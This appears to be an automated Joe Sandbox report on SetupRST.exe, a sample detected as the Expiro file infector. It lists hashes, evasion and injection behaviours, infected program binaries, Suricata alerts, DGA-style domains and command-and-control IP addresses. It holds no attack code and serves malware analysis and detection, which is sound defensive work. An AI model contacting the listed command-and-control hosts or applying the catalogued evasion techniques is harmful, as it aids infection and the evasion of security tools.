Edit tour

Windows Analysis Report
SetupRST.exe

Overview

General Information

Sample name:	SetupRST.exe
Analysis ID:	1543958
MD5:	94b8296a8960c26cef20e322887fd5f5
SHA1:	57fda7b1a6c140f32cf3d196ef946f5cfcd5127b
SHA256:	804f97bdb7ba1317cc4289303e610d800725802c81accf9f2246ff8790fbad92
Tags:	exeExpirouser-lschab
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

.NET source code contains potential unpacker

AI detected suspicious sample

Contains functionality to behave differently if execute on a Russian/Kazak computer

Creates files in the system32 config directory

Drops executable to a common third party application directory

Found direct / indirect Syscall (likely to bypass EDR)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries random domain names (often used to prevent blacklisting and sinkholes)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample is not signed and drops a device driver

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Connects to many different domains

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops certificate files (DER)

Enables debug privileges

Enables driver privileges

Enables security privileges

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SetupRST.exe (PID: 2684 cmdline: "C:\Users\user\Desktop\SetupRST.exe" MD5: 94B8296A8960C26CEF20E322887FD5F5)

SetupRST.exe (PID: 5600 cmdline: SetupRST.exe MD5: 7203FD5E2A67D68FAC082C6E65BE26D6)

armsvc.exe (PID: 1640 cmdline: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe" MD5: 5D22B8F6E5E775C2FF048BE2F32E0494)

alg.exe (PID: 4568 cmdline: C:\Windows\System32\alg.exe MD5: 78E2142C1A9F8A5BD9E1D381BD038CD9)

AppVStrm.sys (PID: 4 cmdline: MD5: BDA55F89B69757320BC125FF1CB53B26)

AppvVemgr.sys (PID: 4 cmdline: MD5: E70EE9B57F8D771E2F4D6E6B535F6757)

AppvVfs.sys (PID: 4 cmdline: MD5: 2CBABD729D5E746B6BD8DC1B4B4DB1E1)

AppVClient.exe (PID: 6748 cmdline: C:\Windows\system32\AppVClient.exe MD5: 157A2D16D81CE01EB292A338F4AA9E82)

FXSSVC.exe (PID: 6208 cmdline: C:\Windows\system32\fxssvc.exe MD5: 2C824D7187C5393013089962F30C9870)

elevation_service.exe (PID: 2088 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe" MD5: 936C8DD770E4909A42D458E3E5CD3237)

maintenanceservice.exe (PID: 6748 cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" MD5: 559ECA024339219D34EB10C9702A8693)

cleanup

Sigma Signatures

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\AppVStrm.sys, NewProcessName: C:\Windows\System32\drivers\AppVStrm.sys, OriginalFileName: C:\Windows\System32\drivers\AppVStrm.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: AppVStrm.sys

Suricata Signatures

ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:40:22.523901+0100	2051651	1	A Network Trojan was detected	192.168.2.8	52750	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:38:48.615342+0100	2051649	1	A Network Trojan was detected	192.168.2.8	61521	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:38:47.159411+0100	2051648	1	A Network Trojan was detected	192.168.2.8	56656	1.1.1.1	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:38:37.429343+0100	2018141	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.8	49704	TCP
2024-10-28T16:39:14.832463+0100	2018141	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.8	49727	TCP
2024-10-28T16:39:16.486899+0100	2018141	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.8	49728	TCP
2024-10-28T16:39:17.723983+0100	2018141	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.8	49729	TCP
2024-10-28T16:39:20.065763+0100	2018141	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.8	49730	TCP
2024-10-28T16:39:24.298416+0100	2018141	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.8	49733	TCP
2024-10-28T16:39:25.117990+0100	2018141	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.8	49734	TCP
2024-10-28T16:39:31.497175+0100	2018141	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.8	49740	TCP
2024-10-28T16:39:47.320464+0100	2018141	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.8	49751	TCP
2024-10-28T16:39:59.476219+0100	2018141	1	A Network Trojan was detected	34.211.97.45	80	192.168.2.8	49809	TCP
2024-10-28T16:40:00.163650+0100	2018141	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.8	49812	TCP
2024-10-28T16:40:02.918959+0100	2018141	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.8	49830	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:38:37.429343+0100	2037771	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.8	49704	TCP
2024-10-28T16:39:14.832463+0100	2037771	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.8	49727	TCP
2024-10-28T16:39:16.486899+0100	2037771	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.8	49728	TCP
2024-10-28T16:39:17.723983+0100	2037771	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.8	49729	TCP
2024-10-28T16:39:20.065763+0100	2037771	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.8	49730	TCP
2024-10-28T16:39:24.298416+0100	2037771	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.8	49733	TCP
2024-10-28T16:39:25.117990+0100	2037771	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.8	49734	TCP
2024-10-28T16:39:31.497175+0100	2037771	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.8	49740	TCP
2024-10-28T16:39:47.320464+0100	2037771	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.8	49751	TCP
2024-10-28T16:39:59.476219+0100	2037771	1	A Network Trojan was detected	34.211.97.45	80	192.168.2.8	49809	TCP
2024-10-28T16:40:00.163650+0100	2037771	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.8	49812	TCP
2024-10-28T16:40:02.918959+0100	2037771	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.8	49830	TCP

ETPRO MALWARE Win32/Expiro.NDO CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:39:14.826627+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.8	49727	47.129.31.212	80	TCP
2024-10-28T16:40:16.062937+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.8	49911	13.251.16.150	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SetupRST.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen

Multi AV Scanner detection for submitted file

Source: SetupRST.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SetupRST.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\Intel\Logs\SetupRST.log			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SetupRST.exe.log			Jump to behavior

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: alg.exe, 00000004.00000003.1787894073.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: SetupRST.exe, 00000000.00000003.1459494441.00000000028E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: alg.exe, 00000004.00000003.1833683990.0000000001620000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1855767166.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1835109714.0000000001630000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: alg.exe, 00000004.00000003.1569725302.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: alg.exe, 00000004.00000003.1659533804.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: alg.exe, 00000004.00000003.1659533804.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: alg.exe, 00000004.00000003.1669783162.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: SetupRST.exe, 00000000.00000003.1500355060.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1529663155.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: alg.exe, 00000004.00000003.1902626829.0000000001570000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1900025698.0000000001670000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: crashreporter.pdb source: alg.exe, 00000004.00000003.2133669254.0000000000420000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6834\Output\Driver\x64\Release\RstMwEventLogMsg.pdbGCTL source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: alg.exe, 00000004.00000003.1638128120.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: alg.exe, 00000004.00000003.1783342935.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: alg.exe, 00000004.00000003.1888245447.0000000001560000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1524593422.000001ED1D51C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: alg.exe, 00000004.00000003.1800772704.0000000001640000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1806141112.0000000001450000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Tools\obj\x64\Release\Tools.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: alg.exe, 00000004.00000003.1691628645.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\SetupRST.pdb source: SetupRST.exe, 00000002.00000002.1524593422.000001ED1D52B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb((( source: alg.exe, 00000004.00000003.1574261740.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: SetupRST.exe, 00000000.00000003.1487952043.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\ViewModels\obj\x64\Release\ViewModels.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: alg.exe, 00000004.00000003.1669783162.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: alg.exe, 00000004.00000003.1582820888.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.4.dr
Source:	Binary string: Acrobat_SL.pdb source: alg.exe, 00000004.00000003.1574261740.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: alg.exe, 00000004.00000003.1833683990.0000000001620000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1855767166.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1835109714.0000000001630000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java_objs\java.pdb source: java.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: alg.exe, 00000004.00000003.1638128120.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: alg.exe, 00000004.00000003.1706804476.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: alg.exe, 00000004.00000003.1569725302.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: alg.exe, 00000004.00000003.1902626829.0000000001570000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1900025698.0000000001670000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: SetupRST.exe, 00000000.00000003.1525013889.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2230108946.0000000001490000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.4.dr
Source:	Binary string: 64BitMAPIBroker.pdb source: alg.exe, 00000004.00000003.1773336600.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: alg.exe, 00000004.00000003.1888245447.0000000001560000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: alg.exe, 00000004.00000003.2177703997.0000000000410000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6834\Output\Driver\x64\Release\RstMwEventLogMsg.pdb source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: alg.exe, 00000004.00000003.1749106054.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: alg.exe, 00000004.00000003.1691628645.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdbP source: alg.exe, 00000004.00000003.2177703997.0000000000410000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\setup.exe.pdb source: alg.exe, 00000004.00000003.2038438132.0000000001550000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: alg.exe, 00000004.00000003.1755347738.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: alg.exe, 00000004.00000003.1706804476.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: alg.exe, 00000004.00000003.1787894073.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Interfaces\obj\x64\Release\Interfaces.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: alg.exe, 00000004.00000003.1783342935.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: SetupRST.exe, 00000000.00000003.1525013889.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2230108946.0000000001490000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.4.dr
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb79-H source: SetupRST.exe, 00000002.00000002.1524593422.000001ED1D51C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: alg.exe, 00000004.00000003.1800772704.0000000001640000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1806141112.0000000001450000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\x64\Release\NativeLauncher.pdb source: SetupRST.exe
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: alg.exe, 00000004.00000003.1712506841.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: SetupRST.exe, 00000000.00000003.1464027571.00000000028E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb(L2TP)NETms_l2tpminiportSWD\GenericSWD\MSRRAS\MS_L2TPMINIPORT{4d36e972-e325-11ce-bfc1-08002be10318}\Device\00000037MicrosoftWAN Miniport (L2TP)netrasa.infMicrosoft20060621000000.****+*WAN Miniport (L2TP)10.0.19041.1Microsoft Windowso source: SetupRST.exe, 00000002.00000002.1524233511.000001ED1D4B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: SetupRST.exe, 00000000.00000003.1487952043.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: SetupRST.exe, 00000000.00000003.1464027571.00000000028E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: SetupRST.exe, 00000000.00000003.1500355060.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1529663155.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: alg.exe, 00000004.00000003.1582820888.0000000001660000.00000004.00001000.00020000.00000000.sdmp
